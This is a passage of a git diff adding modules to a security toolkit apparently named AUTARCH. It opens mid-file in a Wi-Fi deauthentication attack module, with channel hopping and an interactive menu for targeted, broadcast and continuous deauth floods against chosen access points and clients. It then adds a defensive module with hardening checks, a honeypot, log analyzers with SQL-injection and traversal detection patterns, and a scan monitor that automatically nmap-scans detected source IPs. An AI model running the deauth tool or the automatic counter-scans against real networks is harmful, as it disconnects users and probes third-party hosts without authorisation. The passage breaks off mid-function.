'channel', str(channel)]) + if ok: + self._current_channel = channel + return {'ok': True, 'channel': channel, 'message': f'Set channel {channel}'} + return {'ok': False, 'error': out or f'Failed to set channel {channel}'} + + return {'ok': False, 'error': 'No tool available (need iw or iwconfig)'} + + def channel_hop(self, interface: str, channels: Optional[List[int]] = None, + dwell: float = 0.5) -> Dict: + """Start channel hopping in a background thread. + + Default channels: 1-14 (2.4 GHz). + """ + if self._hop_running: + return {'ok': False, 'error': 'Channel hopping already active'} + if not interface: + return {'ok': False, 'error': 'No interface specified'} + + if not channels: + channels = list(range(1, 15)) + dwell = max(0.1, min(dwell, 30.0)) + + self._hop_running = True + + def _hop_worker(): + idx = 0 + while self._hop_running: + ch = channels[idx % len(channels)] + self.set_channel(interface, ch) + idx += 1 + time.sleep(dwell) + + self._hop_thread = threading.Thread( + target=_hop_worker, daemon=True, name='deauth-channel-hop' + ) + self._hop_thread.start() + + return { + 'ok': True, + 'message': f'Channel hopping started on {interface}', + 'channels': channels, + 'dwell': dwell + } + + def stop_channel_hop(self) -> Dict: + """Stop channel hopping.""" + if not self._hop_running: + return {'ok': False, 'error': 'Channel hopping not active'} + + self._hop_running = False + if self._hop_thread: + self._hop_thread.join(timeout=5) + self._hop_thread = None + + return {'ok': True, 'message': 'Channel hopping stopped'} + + # ── History ────────────────────────────────────────────────────────── + + def get_attack_history(self) -> List[Dict]: + """Return past attacks with timestamps and stats.""" + return list(self._history) + + def clear_history(self) -> Dict: + """Clear attack history.""" + self._history = [] + self._save_history() + return {'ok': True, 'message': 'History cleared'} + + def _add_history(self, record: Dict): + """Append an attack record and persist.""" + self._history.append(record) + # Keep last 500 entries + if len(self._history) > 500: + self._history = self._history[-500:] + self._save_history() + + def _load_history(self): + """Load history from disk.""" + try: + if os.path.isfile(self.history_path): + with open(self.history_path, 'r') as f: + self._history = json.load(f) + except Exception: + self._history = [] + + def _save_history(self): + """Persist history to disk.""" + try: + with open(self.history_path, 'w') as f: + json.dump(self._history, f, indent=2) + except Exception: + pass + + # ── CLI Runner ─────────────────────────────────────────────────────── + + def print_status(self, message: str, status: str = "info"): + colors = { + "info": Colors.CYAN, "success": Colors.GREEN, + "warning": Colors.YELLOW, "error": Colors.RED + } + symbols = {"info": "*", "success": "+", "warning": "!", "error": "X"} + print(f"{colors.get(status, Colors.WHITE)}" + f"[{symbols.get(status, '*')}] {message}{Colors.RESET}") + + +def run(): + """CLI entry point for the deauth module.""" + clear_screen() + display_banner() + deauth = get_deauth() + + # Show tool status + tools = deauth.get_tools_status() + available = [k for k, v in tools.items() if v] + missing = [k for k, v in tools.items() if not v] + deauth.print_status(f"Available tools: {', '.join(available) if available else 'none'}", "info") + if missing: + deauth.print_status(f"Missing tools: {', '.join(missing)}", "warning") + print() + + selected_iface = None + selected_bssid = None + selected_client = None + + while True: + print(f"\n{Colors.BOLD}{Colors.RED}=== Deauth Attack ==={Colors.RESET}") + print(f" Interface: {Colors.CYAN}{selected_iface or 'none'}{Colors.RESET}") + print(f" Target AP: {Colors.CYAN}{selected_bssid or 'none'}{Colors.RESET}") + print(f" Client: {Colors.CYAN}{selected_client or 'broadcast'}{Colors.RESET}") + if deauth.is_attacking(): + status = deauth.get_attack_status() + print(f" {Colors.RED}[ATTACKING]{Colors.RESET} " + f"{status['frames_sent']} frames / {status['duration']}s") + print() + print(f" {Colors.GREEN}1{Colors.RESET} - Select Interface") + print(f" {Colors.GREEN}2{Colors.RESET} - Scan Networks") + print(f" {Colors.GREEN}3{Colors.RESET} - Scan Clients") + print(f" {Colors.GREEN}4{Colors.RESET} - Targeted Deauth") + print(f" {Colors.GREEN}5{Colors.RESET} - Broadcast Deauth") + print(f" {Colors.GREEN}6{Colors.RESET} - Continuous Mode") + print(f" {Colors.GREEN}7{Colors.RESET} - Stop Attack") + print(f" {Colors.GREEN}8{Colors.RESET} - Set Channel") + print(f" {Colors.GREEN}0{Colors.RESET} - Back") + print() + + choice = input(f"{Colors.BOLD}Choice > {Colors.RESET}").strip() + + if choice == '0': + if deauth.is_attacking(): + deauth.stop_continuous() + deauth.print_status("Stopped continuous attack", "warning") + break + + elif choice == '1': + ifaces = deauth.get_interfaces() + if not ifaces: + deauth.print_status("No wireless interfaces found", "error") + continue + print(f"\n{'#':<4} {'Interface':<15} {'Mode':<12} {'Channel':<8} {'MAC'}") + for i, ifc in enumerate(ifaces): + print(f"{i+1:<4} {ifc['name']:<15} {ifc['mode']:<12} " + f"{ifc['channel']:<8} {ifc['mac']}") + sel = input(f"\nSelect interface (1-{len(ifaces)}): ").strip() + try: + idx = int(sel) - 1 + if 0 <= idx < len(ifaces): + selected_iface = ifaces[idx]['name'] + deauth.print_status(f"Selected: {selected_iface}", "success") + if ifaces[idx]['mode'] != 'monitor': + en = input("Enable monitor mode? (y/n): ").strip().lower() + if en == 'y': + r = deauth.enable_monitor(selected_iface) + if r['ok']: + selected_iface = r['interface'] + deauth.print_status(r['message'], "success") + else: + deauth.print_status(r['error'], "error") + except ValueError: + pass + + elif choice == '2': + if not selected_iface: + deauth.print_status("Select an interface first", "warning") + continue + dur = input("Scan duration (seconds) [10]: ").strip() + dur = int(dur) if dur.isdigit() else 10 + deauth.print_status(f"Scanning for {dur}s on {selected_iface}...", "info") + nets = deauth.scan_networks(selected_iface, dur) + if not nets: + deauth.print_status("No networks found", "warning") + continue + print(f"\n{'#':<4} {'BSSID':<20} {'SSID':<25} {'CH':<5} " + f"{'Enc':<12} {'Sig':<6} {'Clients'}") + for i, n in enumerate(nets): + print(f"{i+1:<4} {n['bssid']:<20} {n['ssid']:<25} " + f"{n['channel']:<5} {n['encryption']:<12} " + f"{n['signal']:<6} {n['clients_count']}") + sel = input(f"\nSelect target AP (1-{len(nets)}, Enter to skip): ").strip() + try: + idx = int(sel) - 1 + if 0 <= idx < len(nets): + selected_bssid = nets[idx]['bssid'] + deauth.print_status( + f"Target: {nets[idx]['ssid']} ({selected_bssid})", "success" + ) + except ValueError: + pass + + elif choice == '3': + if not selected_iface: + deauth.print_status("Select an interface first", "warning") + continue + dur = input("Scan duration (seconds) [10]: ").strip() + dur = int(dur) if dur.isdigit() else 10 + deauth.print_status( + f"Scanning clients{' on ' + selected_bssid if selected_bssid else ''}...", + "info" + ) + clients = deauth.scan_clients(selected_iface, selected_bssid, dur) + if not clients: + deauth.print_status("No clients found", "warning") + continue + print(f"\n{'#':<4} {'Client MAC':<20} {'AP BSSID':<20} " + f"{'Signal':<8} {'Packets'}") + for i, c in enumerate(clients): + print(f"{i+1:<4} {c['client_mac']:<20} {c['ap_bssid']:<20} " + f"{c['signal']:<8} {c['packets']}") + sel = input(f"\nSelect client (1-{len(clients)}, Enter for broadcast): ").strip() + try: + idx = int(sel) - 1 + if 0 <= idx < len(clients): + selected_client = clients[idx]['client_mac'] + if not selected_bssid: + selected_bssid = clients[idx]['ap_bssid'] + deauth.print_status(f"Client: {selected_client}", "success") + except ValueError: + selected_client = None + + elif choice == '4': + if not selected_iface or not selected_bssid: + deauth.print_status("Select interface and target AP first", "warning") + continue + client = selected_client or input("Client MAC (Enter for broadcast): ").strip() + if not client: + client = BROADCAST + cnt = input("Frame count [10]: ").strip() + cnt = int(cnt) if cnt.isdigit() else 10 + deauth.print_status(f"Sending {cnt} deauth frames...", "info") + r = deauth.deauth_targeted(selected_iface, selected_bssid, client, cnt) + if r['ok']: + deauth.print_status( + f"Sent {r['frames_sent']} frames in {r['duration']}s", "success" + ) + else: + deauth.print_status(r['error'], "error") + + elif choice == '5': + if not selected_iface or not selected_bssid: + deauth.print_status("Select interface and target AP first", "warning") + continue + cnt = input("Frame count [10]: ").strip() + cnt = int(cnt) if cnt.isdigit() else 10 + deauth.print_status(f"Broadcasting {cnt} deauth frames...", "info") + r = deauth.deauth_broadcast(selected_iface, selected_bssid, cnt) + if r['ok']: + deauth.print_status( + f"Sent {r['frames_sent']} frames in {r['duration']}s", "success" + ) + else: + deauth.print_status(r['error'], "error") + + elif choice == '6': + if not selected_iface or not selected_bssid: + deauth.print_status("Select interface and target AP first", "warning") + continue + client = selected_client or BROADCAST + intv = input("Interval between bursts (seconds) [0.5]: ").strip() + intv = float(intv) if intv else 0.5 + bst = input("Burst size [5]: ").strip() + bst = int(bst) if bst.isdigit() else 5 + r = deauth.start_continuous( + selected_iface, selected_bssid, client, intv, bst + ) + if r['ok']: + deauth.print_status(r['message'], "success") + else: + deauth.print_status(r['error'], "error") + + elif choice == '7': + r = deauth.stop_continuous() + if r['ok']: + deauth.print_status( + f"Stopped. {r['frames_sent']} frames in {r['duration']}s", + "success" + ) + else: + deauth.print_status(r.get('error', 'No attack running'), "warning") + + elif choice == '8': + if not selected_iface: + deauth.print_status("Select an interface first", "warning") + continue + ch = input("Channel (1-196): ").strip() + try: + ch = int(ch) + r = deauth.set_channel(selected_iface, ch) + if r['ok']: + deauth.print_status(r['message'], "success") + else: + deauth.print_status(r['error'], "error") + except ValueError: + deauth.print_status("Invalid channel number", "error") + + else: + deauth.print_status("Invalid choice", "warning") diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/defender.py b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/defender.py new file mode 100644 index 0000000..5969d97 --- /dev/null +++ b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/defender.py @@ -0,0 +1,1061 @@ +""" +AUTARCH Defender Module +System hardening and security posture assessment + +Checks system configuration for security best practices. +""" + +import os +import sys +import subprocess +import socket +import re +import time +import json +import threading +from pathlib import Path +from datetime import datetime + +# Module metadata +DESCRIPTION = "System hardening & security checks" +AUTHOR = "darkHal" +VERSION = "1.0" +CATEGORY = "defense" + +sys.path.insert(0, str(Path(__file__).parent.parent)) +from core.banner import Colors, clear_screen, display_banner + + +class Defender: + """System security checker.""" + + def __init__(self): + self.results = [] + + def print_status(self, message: str, status: str = "info"): + colors = {"info": Colors.CYAN, "success": Colors.GREEN, "warning": Colors.YELLOW, "error": Colors.RED} + symbols = {"info": "*", "success": "+", "warning": "!", "error": "X"} + print(f"{colors.get(status, Colors.WHITE)}[{symbols.get(status, '*')}] {message}{Colors.RESET}") + + def check(self, name: str, passed: bool, details: str = ""): + """Record a check result.""" + self.results.append({"name": name, "passed": passed, "details": details}) + status = "success" if passed else "warning" + self.print_status(f"{name}: {'PASS' if passed else 'FAIL'}", status) + if details and not passed: + print(f" {Colors.DIM}{details}{Colors.RESET}") + + def run_cmd(self, cmd: str) -> tuple: + """Run command and return (success, output).""" + try: + result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=10) + return result.returncode == 0, result.stdout.strip() + except: + return False, "" + + def check_firewall(self): + """Check if firewall is enabled.""" + # Check iptables + success, output = self.run_cmd("iptables -L -n 2>/dev/null | head -20") + if success and "Chain" in output: + rules = output.count("\n") + self.check("Firewall (iptables)", rules > 5, f"Found {rules} rules") + return + + # Check ufw + success, output = self.run_cmd("ufw status 2>/dev/null") + if success and "active" in output.lower(): + self.check("Firewall (ufw)", True) + return + + # Check firewalld + success, output = self.run_cmd("firewall-cmd --state 2>/dev/null") + if success and "running" in output.lower(): + self.check("Firewall (firewalld)", True) + return + + self.check("Firewall", False, "No active firewall detected") + + def check_ssh_config(self): + """Check SSH hardening.""" + ssh_config = Path("/etc/ssh/sshd_config") + if not ssh_config.exists(): + self.check("SSH Config", True, "SSH not installed") + return + + content = ssh_config.read_text() + + # Check root login + if "PermitRootLogin no" in content or "PermitRootLogin prohibit-password" in content: + self.check("SSH Root Login Disabled", True) + else: + self.check("SSH Root Login Disabled", False, "Root login may be enabled") + + # Check password auth + if "PasswordAuthentication no" in content: + self.check("SSH Password Auth Disabled", True) + else: + self.check("SSH Password Auth Disabled", False, "Consider using key-based auth only") + + def check_open_ports(self): + """Check for listening ports.""" + success, output = self.run_cmd("ss -tlnp 2>/dev/null || netstat -tlnp 2>/dev/null") + if success: + lines = [l for l in output.split('\n') if 'LISTEN' in l] + high_risk = [] + for line in lines: + if ':23 ' in line: # Telnet + high_risk.append("23 (Telnet)") + if ':21 ' in line: # FTP + high_risk.append("21 (FTP)") + if ':3389 ' in line: # RDP + high_risk.append("3389 (RDP)") + + if high_risk: + self.check("High-Risk Ports", False, f"Open: {', '.join(high_risk)}") + else: + self.check("High-Risk Ports", True, f"{len(lines)} services listening") + + def check_updates(self): + """Check for available updates.""" + # Debian/Ubuntu + success, output = self.run_cmd("apt list --upgradable 2>/dev/null | wc -l") + if success: + count = int(output) - 1 if output.isdigit() else 0 + self.check("System Updates", count < 10, f"{count} packages need updating") + return + + # RHEL/CentOS + success, output = self.run_cmd("yum check-update 2>/dev/null | wc -l") + if success: + self.check("System Updates", int(output) < 10 if output.isdigit() else True) + return + + self.check("System Updates", True, "Could not check updates") + + def check_users(self): + """Check user security.""" + # Users with UID 0 + success, output = self.run_cmd("awk -F: '$3 == 0 {print $1}' /etc/passwd") + if success: + uid0_users = [u for u in output.split('\n') if u] + self.check("Root UID Users", len(uid0_users) == 1, f"UID 0 users: {', '.join(uid0_users)}") + + # Empty passwords + success, output = self.run_cmd("awk -F: '($2 == \"\" || $2 == \"!\") {print $1}' /etc/shadow 2>/dev/null") + if success: + empty = [u for u in output.split('\n') if u and u not in ['*', '!']] + self.check("Empty Passwords", len(empty) == 0, f"Users with empty passwords: {', '.join(empty)}" if empty else "") + + def check_permissions(self): + """Check critical file permissions.""" + checks = [ + ("/etc/passwd", "644"), + ("/etc/shadow", "600"), + ("/etc/ssh/sshd_config", "600"), + ] + + for filepath, expected in checks: + p = Path(filepath) + if p.exists(): + mode = oct(p.stat().st_mode)[-3:] + passed = int(mode) <= int(expected) + self.check(f"Permissions {filepath}", passed, f"Mode: {mode} (expected: {expected})") + + def check_services(self): + """Check for unnecessary services.""" + dangerous = ["telnet", "rsh", "rlogin", "tftp"] + running = [] + + for svc in dangerous: + success, _ = self.run_cmd(f"systemctl is-active {svc} 2>/dev/null") + if success: + running.append(svc) + success, _ = self.run_cmd(f"pgrep -x {svc} 2>/dev/null") + if success: + running.append(svc) + + self.check("Dangerous Services", len(running) == 0, f"Running: {', '.join(running)}" if running else "") + + def check_fail2ban(self): + """Check if fail2ban is installed and running.""" + success, output = self.run_cmd("systemctl is-active fail2ban 2>/dev/null") + if success and "active" in output: + self.check("Fail2Ban", True, "Running") + else: + success, _ = self.run_cmd("which fail2ban-client 2>/dev/null") + if success: + self.check("Fail2Ban", False, "Installed but not running") + else: + self.check("Fail2Ban", False, "Not installed") + + def check_selinux(self): + """Check SELinux/AppArmor status.""" + success, output = self.run_cmd("getenforce 2>/dev/null") + if success: + enforcing = output.strip().lower() == "enforcing" + self.check("SELinux", enforcing, f"Status: {output.strip()}") + return + + success, output = self.run_cmd("aa-status 2>/dev/null | head -1") + if success and "apparmor" in output.lower(): + self.check("AppArmor", True, "Active") + return + + self.check("MAC (SELinux/AppArmor)", False, "No mandatory access control") + + # ==================== SCAN MONITOR ==================== + + def scan_monitor(self): + """Setup and launch the scan monitor.""" + print(f"\n{Colors.BOLD}Scan Monitor Setup{Colors.RESET}") + print(f"{Colors.CYAN}{'─' * 50}{Colors.RESET}\n") + + # Check tcpdump + from core.paths import find_tool + if not find_tool('tcpdump'): + self.print_status("tcpdump is not installed", "error") + return + + counter_input = input(f"{Colors.WHITE}Enable counter-scan on detected attackers? (y/n) [{Colors.GREEN}y{Colors.WHITE}]: {Colors.RESET}").strip().lower() + counter_scan = counter_input != 'n' + + whitelist_input = input(f"{Colors.WHITE}Whitelist IPs (comma-separated, or blank): {Colors.RESET}").strip() + whitelist = [ip.strip() for ip in whitelist_input.split(',') if ip.strip()] if whitelist_input else [] + + # Ensure results dir exists + os.makedirs("results", exist_ok=True) + + self._monitor_with_tcpdump(counter_scan, whitelist) + + def _counter_scan(self, ip: str, log_file: str): + """Counter-scan a detected attacker IP.""" + try: + print(f" {Colors.CYAN}[*] Counter-scanning {ip}...{Colors.RESET}") + result = subprocess.run( + f"nmap --top-ports 100 -T4 -sV {ip}", + shell=True, capture_output=True, text=True, timeout=120 + ) + output = result.stdout + + # Parse open ports + open_ports = [] + for line in output.split('\n'): + if 'open' in line.lower() and ('tcp' in line.lower() or 'udp' in line.lower() or '/' in line): + port = line.split('/')[0].strip() + open_ports.append(port) + + if open_ports: + ports_str = ','.join(open_ports) + print(f" {Colors.GREEN}[+] Counter-scan {ip}: {len(open_ports)} open ports ({ports_str}){Colors.RESET}") + else: + print(f" {Colors.YELLOW}[+] Counter-scan {ip}: no open ports found{Colors.RESET}") + + # Append to log + with open(log_file, 'a') as f: + f.write(f"\n--- Counter-scan {ip} at {datetime.now().strftime('%Y-%m-%d %H:%M:%S')} ---\n") + f.write(output) + f.write("\n") + + except subprocess.TimeoutExpired: + print(f" {Colors.YELLOW}[!] Counter-scan {ip} timed out{Colors.RESET}") + except Exception as e: + print(f" {Colors.RED}[X] Counter-scan {ip} failed: {e}{Colors.RESET}") + + def _monitor_with_tcpdump(self, counter_scan: bool, whitelist: list): + """Core monitoring loop using tcpdump.""" + log_file = "results/scan_monitor.log" + + # Get local IPs to skip + local_ips = {'127.0.0.1'} + try: + hostname = socket.gethostname() + local_ips.add(socket.gethostbyname(hostname)) + except: + pass + try: + result = subprocess.run( + "hostname -I", shell=True, capture_output=True, text=True, timeout=5 + ) + if result.returncode == 0: + for ip in result.stdout.strip().split(): + local_ips.add(ip.strip()) + except: + pass + + # Display header + print(f"\n{Colors.BOLD} Scan Monitor Active {Colors.RED}[Ctrl+C to stop]{Colors.RESET}") + print(f" {Colors.CYAN}{'─' * 50}{Colors.RESET}") + counter_str = f"{Colors.GREEN}Enabled{Colors.RESET}" if counter_scan else f"{Colors.RED}Disabled{Colors.RESET}" + print(f" Counter-scan: {counter_str} | Log: {log_file}") + if whitelist: + print(f" Whitelisted: {', '.join(whitelist)}") + print(f" Local IPs: {', '.join(sorted(local_ips))}") + print(f" Monitoring on all interfaces...\n") + + # SYN-only filter: tcp-syn set AND tcp-ack NOT set + # Use sudo if not root (tcpdump needs packet capture privileges) + if os.geteuid() == 0: + tcpdump_cmd = [ + "tcpdump", "-i", "any", "-n", "-l", "--immediate-mode", + "tcp[tcpflags] & tcp-syn != 0 and tcp[tcpflags] & tcp-ack == 0" + ] + else: + tcpdump_cmd = [ + "sudo", "tcpdump", "-i", "any", "-n", "-l", "--immediate-mode", + "tcp[tcpflags] & tcp-syn != 0 and tcp[tcpflags] & tcp-ack == 0" + ] + + # Tracking dict per source IP + trackers = {} + packet_re = re.compile(r'IP (\d+\.\d+\.\d+\.\d+)\.\d+ > [\d.]+\.(\d+):') + total_packets = 0 + threats_detected = 0 + ips_logged = set() + last_prune = time.time() + + proc = None + try: + proc = subprocess.Popen( + tcpdump_cmd, + stdout=subprocess.PIPE, stderr=subprocess.PIPE + ) + + for raw_line in iter(proc.stdout.readline, b''): + line = raw_line.decode('utf-8', errors='ignore').strip() + if not line: + continue + + m = packet_re.search(line) + if not m: + continue + + src_ip = m.group(1) + dst_port = int(m.group(2)) + total_packets += 1 + now = time.time() + + # Skip whitelisted and local + if src_ip in whitelist or src_ip in local_ips: + continue + + # Update tracker + if src_ip not in trackers: + trackers[src_ip] = { + 'ports': set(), + 'port_counts': {}, + 'first_seen': now, + 'last_seen': now, + 'alerted_scan': False, + 'alerted_brute': set(), + } + + t = trackers[src_ip] + t['ports'].add(dst_port) + t['port_counts'][dst_port] = t['port_counts'].get(dst_port, 0) + 1 + t['last_seen'] = now + + # Check port scan threshold: 10+ unique ports in 30s + if not t['alerted_scan'] and len(t['ports']) >= 10: + elapsed = now - t['first_seen'] + if elapsed <= 30: + t['alerted_scan'] = True + threats_detected += 1 + ips_logged.add(src_ip) + ts = datetime.now().strftime('%H:%M:%S') + msg = f"PORT SCAN detected from {src_ip} ({len(t['ports'])} ports in {int(elapsed)}s)" + print(f" {ts} {Colors.RED}[!] {msg}{Colors.RESET}") + + with open(log_file, 'a') as f: + f.write(f"[{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] {msg}\n") + + if counter_scan: + thread = threading.Thread( + target=self._counter_scan, args=(src_ip, log_file), daemon=True + ) + thread.start() + + # Check brute force threshold: 15+ connections to single port in 60s + for port, count in t['port_counts'].items(): + if port not in t['alerted_brute'] and count >= 15: + elapsed = now - t['first_seen'] + if elapsed <= 60: + t['alerted_brute'].add(port) + threats_detected += 1 + ips_logged.add(src_ip) + ts = datetime.now().strftime('%H:%M:%S') + msg = f"BRUTE FORCE detected from {src_ip} ({count} connections to port {port} in {int(elapsed)}s)" + print(f" {ts} {Colors.YELLOW}[!] {msg}{Colors.RESET}") + + with open(log_file, 'a') as f: + f.write(f"[{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] {msg}\n") + + if counter_scan: + thread = threading.Thread( + target=self._counter_scan, args=(src_ip, log_file), daemon=True + ) + thread.start() + + # Prune stale entries every 5 seconds + if now - last_prune >= 5: + stale = [ip for ip, tr in trackers.items() if now - tr['last_seen'] > 120] + for ip in stale: + del trackers[ip] + last_prune = now + + except KeyboardInterrupt: + pass + finally: + if proc: + proc.kill() + proc.wait() + + # Summary + print(f"\n{Colors.CYAN}{'─' * 50}{Colors.RESET}") + print(f"{Colors.BOLD}Scan Monitor Summary{Colors.RESET}") + print(f" Total SYN packets: {total_packets}") + print(f" Threats detected: {threats_detected}") + print(f" Unique attacker IPs: {len(ips_logged)}") + if ips_logged: + print(f" IPs logged: {', '.join(sorted(ips_logged))}") + print(f" Log file: {log_file}") + print(f"{Colors.CYAN}{'─' * 50}{Colors.RESET}") + + # ==================== HONEYPOT ==================== + + HONEYPOT_BANNERS = { + 22: "SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.5\r\n", + 21: "220 FTP server ready.\r\n", + 80: "HTTP/1.1 200 OK\r\nServer: Apache/2.4.41\r\n\r\nIt works!", + 23: "\xff\xfb\x01\xff\xfb\x03", + 3389: "", + 25: "220 mail.example.com ESMTP\r\n", + 3306: "5.7.38-0ubuntu0.20.04.1\x00", + } + + def honeypot(self): + """Honeypot setup submenu.""" + print(f"\n{Colors.BOLD}Honeypot Setup{Colors.RESET}") + print(f"{Colors.DIM}Deploy fake service listeners to trap scanners{Colors.RESET}") + print(f"{Colors.CYAN}{'─' * 50}{Colors.RESET}\n") + + port_input = input(f"{Colors.WHITE}Ports to listen on [{Colors.GREEN}22,21,80,23,3389,25,3306{Colors.WHITE}]: {Colors.RESET}").strip() + if not port_input: + port_input = "22,21,80,23,3389,25,3306" + + try: + ports = [int(p.strip()) for p in port_input.split(',')] + except ValueError: + self.print_status("Invalid port list", "error") + return + + log_input = input(f"{Colors.WHITE}Enable logging? (y/n) [{Colors.GREEN}y{Colors.WHITE}]: {Colors.RESET}").strip().lower() + enable_log = log_input != 'n' + + os.makedirs("results", exist_ok=True) + log_file = "results/honeypot.log" if enable_log else None + + port_config = {} + for p in ports: + port_config[p] = self.HONEYPOT_BANNERS.get(p, "") + + self._run_honeypot(port_config, log_file) + + def _run_honeypot(self, ports: dict, log_file: str): + """Start honeypot listeners on configured ports.""" + connections = [] + sockets_list = [] + threads = [] + + print(f"\n{Colors.BOLD} Honeypot Active {Colors.RED}[Ctrl+C to stop]{Colors.RESET}") + print(f" {Colors.CYAN}{'─' * 50}{Colors.RESET}") + print(f" Listening on ports: {', '.join(str(p) for p in ports.keys())}") + if log_file: + print(f" Log file: {log_file}") + print() + + for port, banner in ports.items(): + t = threading.Thread( + target=self._honeypot_listener, + args=(port, banner, log_file, connections, sockets_list), + daemon=True + ) + threads.append(t) + t.start() + + try: + while True: + time.sleep(1) + except KeyboardInterrupt: + pass + + # Close all sockets + for s in sockets_list: + try: + s.close() + except: + pass + + # Summary + unique_ips = set(c['ip'] for c in connections) + print(f"\n{Colors.CYAN}{'─' * 50}{Colors.RESET}") + print(f"{Colors.BOLD}Honeypot Summary{Colors.RESET}") + print(f" Total connections: {len(connections)}") + print(f" Unique IPs: {len(unique_ips)}") + if unique_ips: + print(f" IPs seen: {', '.join(sorted(unique_ips))}") + print(f"{Colors.CYAN}{'─' * 50}{Colors.RESET}") + + def _honeypot_listener(self, port: int, banner: str, log_file: str, connections: list, sockets_list: list): + """Listen on a single port for honeypot connections.""" + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + s.bind(('0.0.0.0', port)) + s.listen(5) + sockets_list.append(s) + except OSError as e: + self.print_status(f"Cannot bind port {port}: {e}", "error") + return + + while True: + try: + conn, addr = s.accept() + ip = addr[0] + ts = datetime.now().strftime('%H:%M:%S') + + try: + data = conn.recv(1024) + data_len = len(data) + except: + data_len = 0 + + connections.append({'ip': ip, 'port': port, 'time': ts}) + + print(f" {ts} {Colors.RED}[TRAP]{Colors.RESET} Connection from {Colors.YELLOW}{ip}{Colors.RESET} on port {Colors.CYAN}{port}{Colors.RESET}") + + if log_file: + try: + with open(log_file, 'a') as f: + f.write(f"[{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] HONEYPOT src={ip} port={port} data_len={data_len}\n") + except: + pass + + if banner: + try: + conn.send(banner.encode() if isinstance(banner, str) else banner) + except: + pass + + conn.close() + except OSError: + break + + # ==================== LOG ANALYZER ==================== + + def log_analyzer(self): + """Log analyzer submenu.""" + print(f"\n{Colors.BOLD}Log Analyzer{Colors.RESET}") + print(f"{Colors.DIM}Parse system logs for security threats{Colors.RESET}") + print(f"{Colors.CYAN}{'─' * 50}{Colors.RESET}\n") + + print(f" {Colors.BLUE}[1]{Colors.RESET} Auth Log Analysis") + print(f" {Colors.BLUE}[2]{Colors.RESET} Web Log Analysis") + print(f" {Colors.BLUE}[3]{Colors.RESET} All Logs") + print(f" {Colors.DIM}[0]{Colors.RESET} Back") + print() + + choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip() + + auth_results = [] + web_results = [] + + if choice == "1": + auth_results = self._analyze_auth_log() + self._display_log_summary(auth_results, []) + elif choice == "2": + web_results = self._analyze_web_logs() + self._display_log_summary([], web_results) + elif choice == "3": + auth_results = self._analyze_auth_log() + web_results = self._analyze_web_logs() + self._display_log_summary(auth_results, web_results) + + def _analyze_auth_log(self) -> list: + """Analyze auth.log for failed login attempts.""" + self.print_status("Analyzing authentication logs...", "info") + + failed_re = re.compile(r'Failed password for (?:invalid user )?(\S+) from (\d+\.\d+\.\d+\.\d+)') + ip_data = {} + + for log_path in ['/var/log/auth.log', '/var/log/auth.log.1']: + if not os.path.exists(log_path): + continue + try: + with open(log_path, 'r', errors='ignore') as f: + for line in f: + m = failed_re.search(line) + if m: + username = m.group(1) + ip = m.group(2) + if ip not in ip_data: + ip_data[ip] = {'count': 0, 'usernames': set(), 'timestamps': []} + ip_data[ip]['count'] += 1 + ip_data[ip]['usernames'].add(username) + except PermissionError: + self.print_status(f"Permission denied: {log_path} (try with sudo)", "warning") + except Exception as e: + self.print_status(f"Error reading {log_path}: {e}", "error") + + results = [] + for ip, data in ip_data.items(): + results.append({ + 'ip': ip, + 'count': data['count'], + 'usernames': list(data['usernames']), + }) + + results.sort(key=lambda x: x['count'], reverse=True) + return results + + def _analyze_web_logs(self) -> list: + """Analyze web server logs for suspicious activity.""" + self.print_status("Analyzing web server logs...", "info") + + findings = [] + web_logs = ['/var/log/apache2/access.log', '/var/log/nginx/access.log'] + + sqli_patterns = re.compile(r"(union\s+select|or\s+1\s*=\s*1|'\s*or\s*'|drop\s+table|--\s*$)", re.IGNORECASE) + traversal_pattern = re.compile(r'\.\./|\.\.\\') + + for log_path in web_logs: + if not os.path.exists(log_path): + continue + + ip_requests = {} + ip_errors = {} + + try: + with open(log_path, 'r', errors='ignore') as f: + for line in f: + # Extract IP + ip_match = re.match(r'^(\d+\.\d+\.\d+\.\d+)', line) + if not ip_match: + continue + ip = ip_match.group(1) + + ip_requests[ip] = ip_requests.get(ip, 0) + 1 + + # Check for 4xx status + status_match = re.search(r'" (\d{3}) ', line) + if status_match: + status = int(status_match.group(1)) + if 400 <= status < 500: + ip_errors[ip] = ip_errors.get(ip, 0) + 1 + + # Check for path traversal + if traversal_pattern.search(line): + findings.append({'type': 'Path Traversal', 'ip': ip, 'detail': line.strip()[:120], 'severity': 'HIGH'}) + + # Check for SQL injection + if sqli_patterns.search(line): + findings.append({'type': 'SQL Injection Attempt', 'ip': ip, 'detail': line.strip()[:120], 'severity': 'HIGH'}) + + # High request rate + for ip, count in ip_requests.items(): + if count > 1000: + findings.append({'type': 'High Request Rate', 'ip': ip, 'detail': f'{count} requests', 'severity': 'MEDIUM'}) + + # 4xx floods + for ip, count in ip_errors.items(): + if count > 100: + findings.append({'type': '4xx Error Flood', 'ip': ip, 'detail': f'{count} error responses', 'severity': 'MEDIUM'}) + + except PermissionError: + self.print_status(f"Permission denied: {log_path}", "warning") + except Exception as e: + self.print_status(f"Error reading {log_path}: {e}", "error") + + return findings + + def _geoip_lookup(self, ip: str) -> dict: + """Look up GeoIP information for an IP address.""" + try: + success, output = self.run_cmd(f"curl -s 'http://ip-api.com/json/{ip}'") + if success and output: + data = json.loads(output) + return { + 'country': data.get('country', 'Unknown'), + 'city': data.get('city', 'Unknown'), + 'isp': data.get('isp', 'Unknown'), + } + except: + pass + return {'country': 'Unknown', 'city': 'Unknown', 'isp': 'Unknown'} + + def _display_log_summary(self, auth_results: list, web_results: list): + """Display log analysis summary.""" + print(f"\n{Colors.CYAN}{'─' * 60}{Colors.RESET}") + print(f"{Colors.BOLD}Log Analysis Summary{Colors.RESET}") + print(f"{Colors.CYAN}{'─' * 60}{Colors.RESET}") + + if auth_results: + total_failures = sum(r['count'] for r in auth_results) + print(f"\n {Colors.RED}Total failed logins: {total_failures}{Colors.RESET}") + + # Most targeted usernames + all_users = {} + for r in 